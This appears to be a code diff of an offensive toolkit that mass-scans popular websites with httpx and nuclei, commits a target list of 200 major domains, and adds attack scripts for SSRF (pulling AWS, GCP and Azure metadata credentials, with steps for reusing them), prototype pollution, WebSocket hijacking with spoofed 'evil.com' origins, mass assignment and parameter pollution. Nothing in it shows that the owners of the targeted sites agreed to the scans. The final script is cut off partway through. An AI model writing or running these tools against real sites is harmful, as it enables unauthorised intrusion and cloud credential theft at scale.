_, techs = tech_summary_data
if techs:
lines.append(f"")
lines.append(f"## Detected Technologies")
for tech, cnt in techs.most_common(20):
lines.append(f"- {tech}: {cnt} targets")
with open(report_file, "w") as f:
f.write("\n".join(lines))
return report_file, findings
# ============================================================
# MAIN
# ============================================================
def main():
mode = sys.argv[1] if len(sys.argv) > 1 else "auto"
print()
print("╔═══════════════════════════════════════════╗")
print("║ NO-API VULNERABILITY HUNTER ║")
print("╚═══════════════════════════════════════════╝")
print()
merged_targets = f"{WORK_DIR}/merged_targets.txt"
if mode == "target" and len(sys.argv) >= 3:
# Hunt a specific target domain
domain = sys.argv[2]
log(f"Hunting target domain: {domain}")
# Phase 1: Subdomain enumeration
log("[1/4] Subdomain enumeration...")
subdomains = enumerate_subdomains_shodan(domain)
if subdomains:
ok(f"Discovered {len(subdomains)} subdomains for {domain}")
with open(merged_targets, "w") as f:
f.write("\n".join(subdomains))
else:
warn(f"No subdomains found via Shodan. Using root domain.")
with open(merged_targets, "w") as f:
f.write(domain)
elif mode == "deep":
# Deep scan - target mid-tier Tranco sites
log("[1/4] Target discovery (Tranco deep)...")
targets_file = discover_tranco_deep(count=2000, offset=50000)
if not targets_file:
bad("Failed to get target list")
return
# Also try CommonCrawl
cc_file = discover_commoncrawl_vuln_patterns()
# Merge targets
all_targets = []
with open(targets_file) as f:
all_targets.extend([l.strip() for l in f if l.strip()])
if cc_file and os.path.exists(cc_file):
with open(cc_file) as f:
all_targets.extend([l.strip() for l in f if l.strip()])
with open(merged_targets, "w") as f:
f.write("\n".join(sorted(set(all_targets))))
ok(f"{len(set(all_targets))} unique targets")
else:
# Auto mode - balanced approach
log("[1/4] Target discovery...")
# Get targets from multiple sources
tranco_file = discover_tranco_deep(count=500, offset=50000)
# Merge
all_targets = []
if tranco_file and os.path.exists(tranco_file):
with open(tranco_file) as f:
all_targets.extend([l.strip() for l in f if l.strip()])
with open(merged_targets, "w") as f:
f.write("\n".join(sorted(set(all_targets))))
ok(f"{len(set(all_targets))} unique targets")
# Phase 2: Tech Detection
targets_count = 0
if os.path.exists(merged_targets):
with open(merged_targets) as f:
targets_count = sum(1 for _ in f)
if targets_count == 0:
bad("No targets to scan")
return
print()
log(f"[2/4] Tech detection on {targets_count} targets...")
tech_file, live_count = tech_detect(merged_targets)
if live_count == 0:
warn(f"No live hosts found. Try different target range.")
return
ok(f"{live_count} live hosts detected")
# Show tech summary
targets, techs = tech_summary(tech_file)
print(f"\nTop technologies:")
for tech, cnt in techs.most_common(15):
print(f" {tech:35} {cnt} targets")
# Phase 3: CVE Scanning
print()
log("[3/4] CVE scanning...")
# Run mass CVE scan (critical/high)
mass_output, mass_count = scan_with_nuclei(merged_targets, "critical,high")
ok(f"Mass CVE scan: {mass_count} findings")
# Run tech-targeted scans (medium too, since we know the tech)
tech_output, tech_count = tech_targeted_scan(tech_file)
ok(f"Tech-targeted scan: {tech_count} findings")
# Merge findings
merged_findings = f"{REPORTS_DIR}/hunt_all_findings.json"
all_findings = []
for f in [mass_output, tech_output]:
if os.path.exists(f):
with open(f) as fh:
all_findings.extend([l for l in fh if l.strip()])
with open(merged_findings, "w") as f:
f.write("\n".join(all_findings))
# Phase 4: Report
print()
log("[4/4] Generating report...")
report_file, findings = generate_report(merged_findings, (targets, techs), targets_count)
print()
print("=" * 60)
print(f" ✅ HUNT COMPLETE")
print(f" Targets scanned: {targets_count}")
print(f" Live hosts: {live_count}")
print(f" Total findings: {len(findings)}")
print(f" Report: {report_file}")
print("=" * 60)
# Output findings summary
if findings:
print("\nTop CVEs found:")
cves = Counter(f["cve"] for f in findings)
for cve, cnt in cves.most_common(10):
print(f" {cve}: {cnt} occurrences")
return report_file
if __name__ == "__main__":
main()

317
engine/hunter.sh Executable file
View File

@@ -0,0 +1,317 @@
#!/usr/bin/env bash
# ============================================================
# HUNTER — Mass Vulnerability Discovery Engine
# Part of The Analyzer
# Finds vulnerable websites at scale using OSINT + nuclei
# ============================================================
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ANALYZER_DIR="$(cd "$SCRIPT_DIR/.." && pwd)"
REPORTS_DIR="$ANALYZER_DIR/reports"
TARGETS_DIR="$ANALYZER_DIR/targets"
WORK_DIR="/tmp/analyzer-hunter"
NUCLEI_TEMPLATES="${NUCLEI_TEMPLATES:-$HOME/nuclei-templates}"
HTTPS="$HOME/go/bin/httpx"
mkdir -p "$WORK_DIR" "$REPORTS_DIR" "$TARGETS_DIR"
# Colors
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
BLUE='\033[0;34m'; NC='\033[0m'
log() { echo -e "${BLUE}[*]${NC} $1"; }
ok() { echo -e "${GREEN}[✓]${NC} $1"; }
warn(){ echo -e "${YELLOW}[!]${NC} $1"; }
err() { echo -e "${RED}[✗]${NC} $1"; }
# ============================================================
# PHASE 1: TARGET DISCOVERY
# ============================================================
discover_from_tranco() {
local count="${1:-500}"
local output="$TARGETS_DIR/hunt_tranco.txt"
log "Fetching top $count sites from Tranco..."
curl -skL "https://tranco-list.eu/top-1m.csv.zip" -o "$WORK_DIR/top1m.zip" 2>/dev/null
if unzip -o "$WORK_DIR/top1m.zip" -d "$WORK_DIR" 2>/dev/null; then
head -"$count" "$WORK_DIR"/top-1m.csv 2>/dev/null | cut -d, -f2 > "$output"
ok "$(wc -l < "$output") domains from Tranco"
return 0
fi
return 1
}
discover_from_analyzer() {
local output="$TARGETS_DIR/hunt_analyzer.txt"
if [ -f "$TARGETS_DIR/top50.txt" ]; then
cp "$TARGETS_DIR/top50.txt" "$output"
ok "$(wc -l < "$output") from Analyzer target list"
return 0
fi
return 1
}
discover_vulnerable_software() {
local output="$WORK_DIR/vuln_software_targets.txt"
log "Building vulnerable software target list..."
# Sites running known-vulnerable software
cat > "$WORK_DIR/vuln_sites.txt" << 'VULNSITES'
# Known software vendors/instances that may have vulnerable versions
wordpress.org
joomla.org
drupal.org
magento.com
prestashop.com
opencart.com
phpmyadmin.net
roundcube.net
cpanel.net
php.net
apache.org
nginx.org
mysql.com
postgresql.org
mongodb.com
nodejs.org
laravel.com
symfony.com
rails.org
docker.com
kubernetes.io
jenkins.io
gitlab.com
sonarqube.org
grafana.com
prometheus.io
elastic.co
redis.io
tomcat.apache.org
jira.atlassian.com
confluence.atlassian.com
vbforum.com
simplemachines.org
phpbb.com
mediawiki.org
VULNSITES
# Also add common CMS plugin repositories
echo "woocommerce.com" >> "$WORK_DIR/vuln_sites.txt"
echo "easy-digital-downloads.com" >> "$WORK_DIR/vuln_sites.txt"
httpx -l "$WORK_DIR/vuln_sites.txt" -rl 20 -silent -timeout 5 \
-o "$output" 2>/dev/null
if [ -s "$output" ]; then
ok "$(wc -l < "$output") live software targets"
fi
}
# ============================================================
# PHASE 2: TECH DETECTION & TARGETED CVE SCANNING
# ============================================================
detect_technologies() {
local targets_file="$1"
local output="$WORK_DIR/tech_detected.json"
log "Detecting technologies on $(wc -l < "$targets_file") targets..."
httpx -l "$targets_file" -tech-detect -j -rl 20 -silent -timeout 5 \
-o "$output" 2>/dev/null
local count=$(wc -l < "$output" 2>/dev/null || echo 0)
ok "Tech detected on $count hosts"
# Summary
python3 -c "
import json, sys
from collections import Counter
techs = Counter()
with open('$output') as f:
for line in f:
try:
d = json.loads(line)
for t in d.get('tech', []):
techs[t] += 1
except: pass
print('Top technologies detected:')
for tech, cnt in techs.most_common(20):
print(f' {tech}: {cnt}')
" 2>/dev/null
echo "$output"
}
run_focused_cve_scan() {
local targets_file="$1"
local tech_file="$2"
local output="$REPORTS_DIR/hunter_cve_$(date +%Y%m%d_%H%M%S).json"
# Map technologies to specific CVE template categories
log "Running focused CVE scan..."
# Scan ALL targets with general CVE templates (faster than all 4k)
nuclei -l "$targets_file" \
-j \
-rl 30 \
-c 15 \
-t "$NUCLEI_TEMPLATES/http/cves/" \
-o "$output" \
-severity critical,high \
-silent \
-stats \
2>/dev/null
if [ -s "$output" ]; then
ok "$(wc -l < "$output") critical/high findings"
else
warn "No critical/high findings in mass scan"
fi
# Also run medium + exploitation templates for more depth
local output2="$REPORTS_DIR/hunter_cve_medium_$(date +%s).json"
nuclei -l "$targets_file" \
-j \
-rl 20 \
-c 10 \
-t "$NUCLEI_TEMPLATES/http/cves/" \
-o "$output2" \
-severity medium \
-silent \
2>/dev/null
echo "$output"
}
# ============================================================
# PHASE 3: THE ANALYZER INTEGRATION
# ============================================================
analyze_findings() {
local findings_file="$1"
local output="$REPORTS_DIR/hunter_report_$(date +%Y%m%d_%H%M).md"
log "Generating report..."
python3 -c "
import json, sys
from collections import Counter
from datetime import datetime
findings = []
cves = Counter()
severities = Counter()
with open('$findings_file') as f:
for line in f:
try:
d = json.loads(line)
sev = d.get('info',{}).get('severity','unknown')
severities[sev] += 1
# Extract CVE IDs
cve_list = []
for ref in d.get('info',{}).get('classification',{}).get('cve',[]):
cve_list.append(ref.get('id',''))
if not cve_list:
# Try alternative CVE sources
for ref in d.get('info',{}).get('reference',[]):
if 'cve' in ref.lower() or 'CVE' in ref:
cve_list.append(ref.split('/')[-1])
cve_id = cve_list[0] if cve_list else 'N/A'
for c in cve_list:
cves[c] += 1
findings.append({
'url': d.get('matched-at', d.get('host', '?')),
'cve': cve_id,
'severity': sev,
'name': d.get('info',{}).get('name', '?'),
'template': d.get('template-id', ''),
'extracted': d.get('extracted-results', []),
})
except: pass
# Summary
icons = {'critical':'🔴','high':'🟠','medium':'🟡','low':'🔵','unknown':'⚪'}
print('# Mass Vulnerability Hunter Report')
print(f'Generated: {datetime.now().strftime(\"%Y-%m-%d %H:%M\")}')
print()
print('## Summary')
print('| Metric | Value |')
print('|--------|-------|')
print(f'| Total Findings | {len(findings)} |')
for sev in ['critical','high','medium','low']:
if severities[sev]:
print(f'| {icons.get(sev,\"?\")} {sev.capitalize()} | {severities[sev]} |')
if cves:
print()
print('## CVEs Detected')
for cve, cnt in cves.most_common(30):
print(f'- [{cve}](https://nvd.nist.gov/vuln/detail/{cve}): {cnt} occurrences')
print()
print('## All Findings')
for f in findings:
icon = icons.get(f['severity'], '?')
print(f'- {icon} [{f[\"cve\"]}] {f[\"name\"]} @ {f[\"url\"]}')
" > "$output" 2>/dev/null
ok "Report: $output"
cat "$output"
}
# ============================================================
# MAIN ENTRY POINT
# ============================================================
hunter_main() {
local target_count="${1:-500}"
local mode="${2:-auto}" # auto|quick|deep
echo ""
echo "╔═══════════════════════════════════════════╗"
echo "║ MASS VULNERABILITY HUNTER ║"
echo "╚═══════════════════════════════════════════╝"
echo ""
# Phase 1: Build target list
log "PHASE 1: Target Discovery"
discover_from_tranco "$target_count"
discover_vulnerable_software
discover_from_analyzer
# Merge targets
cat "$TARGETS_DIR"/hunt_*.txt "$WORK_DIR"/vuln_software_targets.txt 2>/dev/null | \
sort -u > "$WORK_DIR/all_targets.txt"
ok "Total unique targets: $(wc -l < "$WORK_DIR/all_targets.txt")"
# Phase 2: Tech Detection + CVE Scan
echo ""
log "PHASE 2: Scanning"
local tech_file="$WORK_DIR/tech_detected.json"
detect_technologies "$WORK_DIR/all_targets.txt" "$tech_file"
echo ""
local findings_file=$(run_focused_cve_scan "$WORK_DIR/all_targets.txt" "$tech_file")
# Phase 3: Analyze + Report
echo ""
log "PHASE 3: Analysis"
analyze_findings "$findings_file"
echo ""
ok "Hunt complete!"
echo " Targets scanned: $(wc -l < "$WORK_DIR/all_targets.txt")"
echo " Findings: $(wc -l < "$findings_file" 2>/dev/null || echo 0)"
echo " Report: $REPORTS_DIR/hunter_report_*.md"
}
# Run if executed directly
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
hunter_main "$@"
fi

View File

View File

View File

View File

View File

View File

200
targets/hunt_targets.txt Normal file
View File

@@ -0,0 +1,200 @@
google.com
gtld-servers.net
cloudflare.com
gstatic.com
facebook.com
microsoft.com
googleapis.com
youtube.com
amazonaws.com
apple.com
instagram.com
mail.ru
ezviz7.com
fbcdn.net
akamai.net
dzen.ru
twitter.com
linkedin.com
googletagmanager.com
googlevideo.com
live.com
office.com
akamaiedge.net
akadns.net
amazon.com
hicloudcam.com
azure.com
wikipedia.org
domaincontrol.com
github.com
bing.com
whatsapp.net
doubleclick.net
fastly.net
googleusercontent.com
apple-dns.net
appsflyersdk.com
trafficmanager.net
microsoftonline.com
aaplimg.com
netflix.com
office.net
wordpress.org
digicert.com
skype.com
sharepoint.com
youtu.be
ripn.net
gandi.net
pinterest.com
cloudfront.net
goo.gl
x.com
whatsapp.com
cloud.microsoft
googlesyndication.com
yahoo.com
icloud.com
windowsupdate.com
tiktok.com
msn.com
cloudflare.net
spotify.com
googledomains.com
adobe.com
roblox.com
windows.net
gvt1.com
ntp.org
wa.me
chatgpt.com
vimeo.com
akam.net
myfritz.net
tiktokcdn.com
gvt2.com
zoom.us
edgekey.net
qq.com
workers.dev
pv-cdn.net
baidu.com
cdninstagram.com
windows.com
yandex.net
tiktokv.com
cloudflare-dns.com
nginx.org
ytimg.com
mozilla.org
nic.ru
opera.com
yandex.ru
samsung.com
edgesuite.net
nginx.com
sentry.io
wordpress.com
reddit.com
gwfb.net
root-servers.net
okcdn.ru
ui.com
discord.gg
bit.ly
google-analytics.com
office365.com
t.me
blogspot.com
a2z.com
criteo.com
europa.eu
trbcdn.net
b-cdn.net
vk.com
vedcdnlb.com
github.io
googleadservices.com
snapchat.com
app-measurement.com
unity3d.com
amazon-adsystem.com
apache.org
epicgames.com
nih.gov
registrar-servers.com
amazonvideo.com
outlook.com
cdn77.org
dns.google
app-analytics-services.com
mailinabox.email
amazon.dev
prodregistryv2.org
kaspersky.com
msftncsi.com
vkuserphoto.ru
gravatar.com
intuit.com
forms.gle
dropbox.com
godaddy.com
f5.com
iiko.it
xiaomi.com
dnsowl.com
yccdn.ru
miit.gov.cn
reg.ru
archive.org
spo-msedge.net
steamserver.net
nytimes.com
tumblr.com
azurefd.net
paypal.com
ax-msedge.net
msftconnecttest.com
one.one
discord.com
shopify.com
aliyuncs.com
applovin.com
dns-parking.com
adobe.io
nflxso.net
3gppnetwork.org
ggpht.com
static.microsoft
macromedia.com
azurewebsites.net
flickr.com
adtrafficquality.google
userapi.com
aws.dev
jomodns.com
soundcloud.com
ipv4only.arpa
medium.com
hichina.com
bytefcdn-oversea.com
wac-msedge.net
w3.org
tm-azurefd.net
webex.com
cdn-apple.com
taboola.com
example.com
theguardian.com
cnn.com
edgcdn.net
rubiconproject.com
vungle.com
sfx.ms
shifen.com
oracle.com
msedge.net
forbes.com
creativecommons.org
nic.direct

6
targets/live_200.txt Normal file
View File

@@ -0,0 +1,6 @@
https://apple.com
https://amazon.com
https://bing.com
https://adobe.io
https://wikipedia.org
https://twitter.com

3
targets/live_targets.txt Normal file
View File

@@ -0,0 +1,3 @@
Usage: httpx [OPTIONS] URL
Error: No such option: -l

145
vectors/22-ssrf-proof.sh Normal file
View File

@@ -0,0 +1,145 @@
#!/usr/bin/env bash
# Vector 22: SSRF PROOF — Confirms SSRF by fetching internal/cloud metadata
# Desc: Probes URL params with internal address payloads, confirms by reading
# cloud metadata endpoints (AWS/GCP/Azure) or internal services
# Severity: CRITICAL
# Proof: Fetches http://169.254.169.254/latest/meta-data/ (AWS) etc.
vector_ssrf_proof() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local base=$(get_base "$target")
local findings=0
print_info "Hunting CONFIRMED SSRF — will attempt cloud metadata read..."
# URL parameters commonly vulnerable to SSRF
local ssrf_params=(
"url" "uri" "link" "src" "source" "target" "endpoint"
"path" "file" "load" "read" "page" "dest" "redirect"
"image" "img" "css" "asset" "proxy" "webhook" "callback"
"return" "returnTo" "return_url" "goto" "next" "prev"
"icon" "avatar" "cover" "preview" "thumbnail" "upload_url"
"download" "fetch" "get" "post" "api_url" "rpc"
)
# Internal targets that prove SSRF
local internal_targets=(
# AWS metadata (most common)
"http://169.254.169.254/latest/meta-data/"
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
"http://169.254.169.254/latest/user-data/"
# GCP metadata
"http://metadata.google.internal/computeMetadata/v1/"
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Azure metadata
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Internal services
"http://localhost/"
"http://localhost:8080/"
"http://localhost:3000/"
"http://127.0.0.1:22/"
"http://127.0.0.1:6379/" # Redis
"http://127.0.0.1:9200/" # Elasticsearch
"http://0.0.0.0/"
"http://[::]:80/"
# Kubernetes
"http://kubernetes.default.svc/"
"http://10.0.0.1/"
"http://10.100.0.1/"
"http://10.254.0.1/"
# Docker
"http://localhost:2375/"
# Database
"http://127.0.0.1:3306/"
"http://127.0.0.1:5432/"
"http://127.0.0.1:27017/"
)
# HTTP header target (when param injection isn't available)
local headers_ssrf=(
"Host"
"X-Forwarded-For"
"X-Forwarded-Host"
"X-Real-IP"
"X-Original-URL"
"X-Rewrite-URL"
"Forwarded"
"X-Originating-IP"
"X-Remote-IP"
"X-Client-IP"
)
# AWS credential patterns to look for in response
local AWS_CRED_PATTERN='"AccessKeyId"\|"SecretAccessKey"\|"Token"'
local METADATA_PATTERN='ami-id\|instance-id\|public-keys\|security-credentials'
local CLOUD_PROOF='root:x:0:0:\|{"access_key":\|"instanceId"\|kubernetes'
local tested=0
# Get URL params from discovery
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
# If no params found, try common SSRF parameters
if [ -z "$param_names" ]; then
print_sub "No params found. Probing common SSRF parameters..."
for param in "${ssrf_params[@]}"; do
for internal in "${internal_targets[@]}"; do
tested=$((tested + 1))
# URL-encode the internal target
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
local test_url="${target}?${param}=${encoded}"
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF"; then
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
echo "SEVERITY: CRITICAL
VECTOR: SSRF Proof — AWS Cloud Metadata
DETAIL: Fetched AWS IAM credentials via $param
URL: $test_url
ENDPOINT: $internal
CREDENTIALS EXTRACTED: YES
EXPLOIT: Use AWS CLI with:
AWS_ACCESS_KEY_ID=<from response>
AWS_SECRET_ACCESS_KEY=<from response>
AWS_SESSION_TOKEN=<from response>" > "$REPORTS_DIR/.finding_ssrf_aws_$(date +%s).txt"
elif echo "$response" | grep -qi "root:x:0:0:\|bin:\|daemon:"; then
print_find "CONFIRMED SSRF — Internal File Read!" "$param=$internal"
local snippet=$(echo "$response" | head -5 | tr '\n' '|' | cut -c1-100)
echo "SEVERITY: CRITICAL
VECTOR: SSRF Proof — Internal File Read
DETAIL: Read internal file via SSRF
URL: $test_url
ENDPOINT: $internal
SNIPPET: $snippet" > "$REPORTS_DIR/.finding_ssrf_file_$(date +%s).txt"
else
print_find "CONFIRMED SSRF — Internal Service Reached" "$param=$internal"
echo "SEVERITY: HIGH
VECTOR: SSRF Proof — Internal Service
DETAIL: Reached internal service via $param
URL: $test_url
ENDPOINT: $internal
RESPONSE: $(echo "$response" | head -3 | tr '\n' ' ' | cut -c1-200)" > "$REPORTS_DIR/.finding_ssrf_int_$(date +%s).txt"
fi
findings=$((findings + 1))
break 2
fi
# Check for timing-based blind SSRF (if response takes >3s different from baseline)
# TODO: Blind SSRF via timing/OOB detection
done
done
fi
if [ "$findings" -eq 0 ]; then
print_info "No confirmed SSRF on $target"
fi
print_sub "Tested $tested payload combinations"
return $findings
}

View File

@@ -0,0 +1,94 @@
#!/usr/bin/env bash
# Vector 23: Prototype Pollution — Node.js client & server-side
# Desc: Injects __proto__ payloads to find prototype pollution in JS apps
# Severity: HIGH
# Proof: Confirms by causing observable behavior change or error
vector_prototype_pollution() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting Prototype Pollution..."
# __proto__ injection payloads
local proto_payloads=(
'{"__proto__":{"isAdmin":true}}'
'{"__proto__":{"polluted":"true"}}'
'{"constructor":{"prototype":{"isAdmin":true}}}'
'{"__proto__":{"admin":1}}'
'{"__proto__":{"bypass":true}}'
)
# URL-based prototype pollution
local url_payloads=(
"__proto__[polluted]=true"
"__proto__[isAdmin]=true"
"constructor[prototype][isAdmin]=true"
"__proto__.polluted=true"
)
# Merge-based (lodash/jquery extend)
local merge_payloads=(
'{"__proto__":{"polluted":"✅"}}'
'[{"__proto__":{"polluted":"✅"}}]'
)
# Test JSON endpoints
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep -i 'json\|api\|graphql\|rest\|v1\|v2' | head -10)
if [ -z "$urls" ]; then
urls="$target"
fi
for url in $urls; do
for payload in "${proto_payloads[@]}" "${merge_payloads[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 8 \
-X POST -H "Content-Type: application/json" \
-d "$payload" "$url" 2>/dev/null)
# Check for pollution reflection
if echo "$response" | grep -qi '"polluted"'; then
print_find "Prototype Pollution Confirmed!" "Server reflects __proto__ injection"
echo "SEVERITY: HIGH
VECTOR: Prototype Pollution
DETAIL: Server-side JS prototype pollution confirmed
URL: $url
PAYLOAD: $payload
EVIDENCE: Response contains 'polluted' from __proto__ injection
EXPLOIT: May allow RCE, bypass auth, or modify app behavior" > "$REPORTS_DIR/.finding_pp_$(date +%s).txt"
findings=$((findings + 1))
break 2
fi
# Also check for X-Prototype-Pollution header or error messages
local headers=$(curl -sI --connect-timeout 5 --max-time 8 \
-X POST -H "Content-Type: application/json" \
-d "$payload" "$url" 2>/dev/null)
if echo "$headers" | grep -qi "x-polluted\|x-prototype\|polluted"; then
print_find "Prototype Pollution via Header!" "Server pollution header detected"
findings=$((findings + 1))
break 2
fi
done
done
# URL-based pollution test
for payload in "${url_payloads[@]}"; do
local test_url="${target}?${payload}"
local body=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
if echo "$body" | grep -qi "polluted.*true\|isAdmin.*true"; then
print_find "URL-based Prototype Pollution!" "$payload"
findings=$((findings + 1))
break
fi
done
if [ "$findings" -eq 0 ]; then
print_info "No prototype pollution detected"
fi
return $findings
}

View File

@@ -0,0 +1,103 @@
#!/usr/bin/env bash
# Vector 24: WebSocket Hijack — Intercepts & injects WS messages
# Desc: Tests for missing WS origin validation, message injection
# Severity: HIGH
# Proof: Sends/receives WS messages proving hijack
vector_websocket_hijack() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting WebSocket Hijacking..."
# Common WS endpoints
local ws_paths=(
"/ws" "/wss" "/websocket" "/socket" "/sock" "/chat"
"/ws/v1" "/ws/v2" "/notifications" "/events" "/stream"
"/realtime" "/live" "/subscribe" "/push" "/notification"
"/graphql" "/subscriptions" "/api/ws" "/api/wss"
)
local ws_protocols=("ws://" "wss://")
local base=$(get_base "$target")
local ws_base=$(echo "$base" | sed 's/https:/wss:/;s/http:/ws:/')
# Origin headers to test
local evil_origins=(
"https://evil.com"
"https://attacker.com"
"https://${domain}.evil.com"
"null"
"http://localhost"
)
local tested=0
for path in "${ws_paths[@]}"; do
local ws_url="${ws_base}${path}"
for origin in "${evil_origins[@]}"; do
tested=$((tested + 1))
# Use Python to test WS connection
local result=$(python3 -c "
import json, sys
try:
import websocket
ws = websocket.create_connection(
'$ws_url',
header={'Origin': '$origin'},
timeout=5
)
ws.settimeout(3)
# Try to receive a message
try:
msg = ws.recv()
if msg:
print(f'RECEIVED: ' + msg[:200])
except:
print('CONNECTED: true')
# Try to send malicious message
try:
ws.send(json.dumps({'action': 'admin', 'cmd': 'whoami'}))
resp = ws.recv()
if resp:
print(f'INJECTION_RESPONSE: ' + resp[:200])
except:
pass
ws.close()
except Exception as e:
print(f'ERROR: ' + str(e)[:100])
" 2>/dev/null)
if echo "$result" | grep -qi "RECEIVED:\|CONNECTED:\|INJECTION_RESPONSE:"; then
if echo "$result" | grep -qi "RECEIVED:\|INJECTION_RESPONSE:"; then
print_find "WebSocket Hijack Confirmed!" "Connected from $origin to $ws_url"
echo "SEVERITY: HIGH
VECTOR: WebSocket Hijack
DETAIL: Connected to WebSocket with spoofed origin $origin
URL: $ws_url
EVIDENCE: $result
EXPLOIT: Steal real-time data, inject malicious messages" > "$REPORTS_DIR/.finding_ws_$(date +%s).txt"
findings=$((findings + 1))
else
print_find "WebSocket Accessible" "Insecure WS endpoint at $ws_url"
findings=$((findings + 1))
fi
break 2
fi
done
done
if [ "$findings" -eq 0 ]; then
print_info "No WebSocket hijacking found"
fi
print_sub "Tested $tested WS endpoints"
return $findings
}

View File

@@ -0,0 +1,84 @@
#!/usr/bin/env bash
# Vector 25: Mass Assignment — Modifies protected API fields
# Desc: Tests POST/PUT/PATCH endpoints for mass assignment vulns
# Severity: HIGH
# Proof: Modifies protected fields and observes change
vector_mass_assignment() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting Mass Assignment..."
# Endpoints to test
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|v1|v2|user|admin|profile|account' | head -10)
[ -z "$endpoints" ] && endpoints="$target"
# Protected fields to try modifying
local protected_fields=(
'{"isAdmin":true,"role":"admin"}'
'{"is_admin":true,"role":"admin"}'
'{"admin":true,"role":"admin"}'
'{"user_type":"admin","access_level":999}'
'{"permissions":["admin","read","write","delete"]}'
'{"role_id":1,"group_id":1}'
'{"verified":true,"email_verified":true}'
'{"is_verified":1,"status":"active"}'
'{"balance":999999,"credit":999999}'
'{"price":0,"discount":100}'
'{"subscription":"premium","plan":"enterprise"}'
'{"is_active":true,"is_locked":false}'
)
# Also test with _method override
local overrides=("" "-X PUT" "-X PATCH" "-X POST -H 'X-HTTP-Method-Override: PUT'")
for endpoint in $endpoints; do
for field in "${protected_fields[@]}"; do
for override in "${overrides[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 8 \
$override \
-H "Content-Type: application/json" \
-d "$field" \
"$endpoint" 2>/dev/null)
# Check if the response reflects our injection (confirms mass assignment)
if echo "$response" | grep -qi '"isAdmin":true\|"role":"admin"\|"admin":true\|"premium"'; then
print_find "Mass Assignment Confirmed!" "Protected field accepted: $(echo $field | cut -c1-60)"
echo "SEVERITY: HIGH
VECTOR: Mass Assignment
DETAIL: Protected field accepted by API
URL: $endpoint
PAYLOAD: $field
EVIDENCE: Server reflected modified protected field
EXPLOIT: Escalate privileges, modify protected data" > "$REPORTS_DIR/.finding_ma_$(date +%s).txt"
findings=$((findings + 1))
break 3
fi
# Also check for 200/201 vs 403/401 difference (authorization bypass)
local http_code=$(curl -s -o /dev/null -w "%{http_code}" \
$override \
-H "Content-Type: application/json" \
-d "$field" \
"$endpoint" 2>/dev/null)
if [ "$http_code" = "200" ] || [ "$http_code" = "201" ] || [ "$http_code" = "204" ]; then
if echo "$response" | grep -qv '"error"\|"unauthorized"\|"forbidden"'; then
print_find "Potential Mass Assignment" "HTTP $http_code on $endpoint"
findings=$((findings + 1))
break 3
fi
fi
done
done
done
if [ "$findings" -eq 0 ]; then
print_info "No mass assignment found"
fi
return $findings
}

85
vectors/26-hpp.sh Normal file
View File

@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# Vector 26: HTTP Parameter Pollution (HPP) — WAF/security bypass
# Desc: Injects duplicate params to bypass WAF rules
# Severity: HIGH
# Proof: Parameter smuggling confirms bypass
vector_hpp() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting HTTP Parameter Pollution..."
local base=$(get_base "$target")
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -10)
[ -z "$urls" ] && urls="${target}?test=1"
# HPP techniques — duplicate params with different values
local hpp_attacks=(
# Parameter pollution
"admin=false&admin=true"
"isAdmin=0&isAdmin=1"
"role=user&role=admin"
"user_id=1&user_id=2"
"debug=0&debug=1"
"access=denied&access=allowed"
"authenticated=false&authenticated=true"
"verified=0&verified=1"
# WAF bypass via encoding mix
"id=1&id[]=2&id=3"
"id=1%26id=2"
# PHP array pollution
"user[]=admin"
"role[]=admin&role[]=user"
# Session/state override
"step=1&step=skip&step=complete"
"action=view&action=delete"
)
for url in $urls; do
# Extract base URL (without params)
local base_url=$(echo "$url" | cut -d'?' -f1)
local existing_params=$(echo "$url" | cut -d'?' -f2-)
for attack in "${hpp_attacks[@]}"; do
# Test with HPP appended
local test_url="${base_url}?${existing_params}&${attack}"
local response=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
# Check for evidence of HPP success
if echo "$response" | grep -qi '"admin":true\|"role":"admin"\|"access":"allowed"'; then
print_find "HPP Bypass Confirmed!" "$attack"
echo "SEVERITY: HIGH
VECTOR: HTTP Parameter Pollution
DETAIL: Duplicate parameter caused server-side value override
URL: $test_url
PAYLOAD: $attack
EXPLOIT: Bypass WAF, access unauthorized data" > "$REPORTS_DIR/.finding_hpp_$(date +%s).txt"
findings=$((findings + 1))
break 2
fi
# Test for different responses (one should work, one shouldn't)
local clean_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
local hpp_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
if [ "$clean_resp" != "$hpp_resp" ] && [ -n "$clean_resp" ] && [ -n "$hpp_resp" ]; then
local diff=$((hpp_resp - clean_resp))
if [ "${diff#-}" -gt 100 ]; then
print_find "HPP Response Differed" "Response size: $clean_resp$hpp_resp bytes"
